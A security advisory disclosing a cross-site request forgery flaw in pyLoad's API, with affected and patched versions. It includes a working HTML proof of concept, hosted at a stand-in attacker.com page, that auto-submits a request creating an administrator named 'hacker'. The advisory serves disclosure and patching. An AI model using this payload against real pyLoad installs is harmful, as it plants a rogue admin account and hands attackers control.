Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation

Overview

Summary

The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.

PoC

We host the following HTML file on an attacker-controlled server.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

If we now trick an administrator into visiting our malicious page at https://attacker.com/CSRF.html, we see that their browser will make a request to /api/add_user/%22hacker%22,%22hacker%22, adding a new administrator to the pyload application.

The attacker can now authenticate as this newly created administrator user with the username hacker and password hacker.

Impact

Any API call can be made via a CSRF attack by an unauthenticated user.

Affected packages

• pyload-ng < 0.5.0b3.dev78

Remediation

Upgrade to a patched release:

• pyload-ng 0.5.0b3.dev78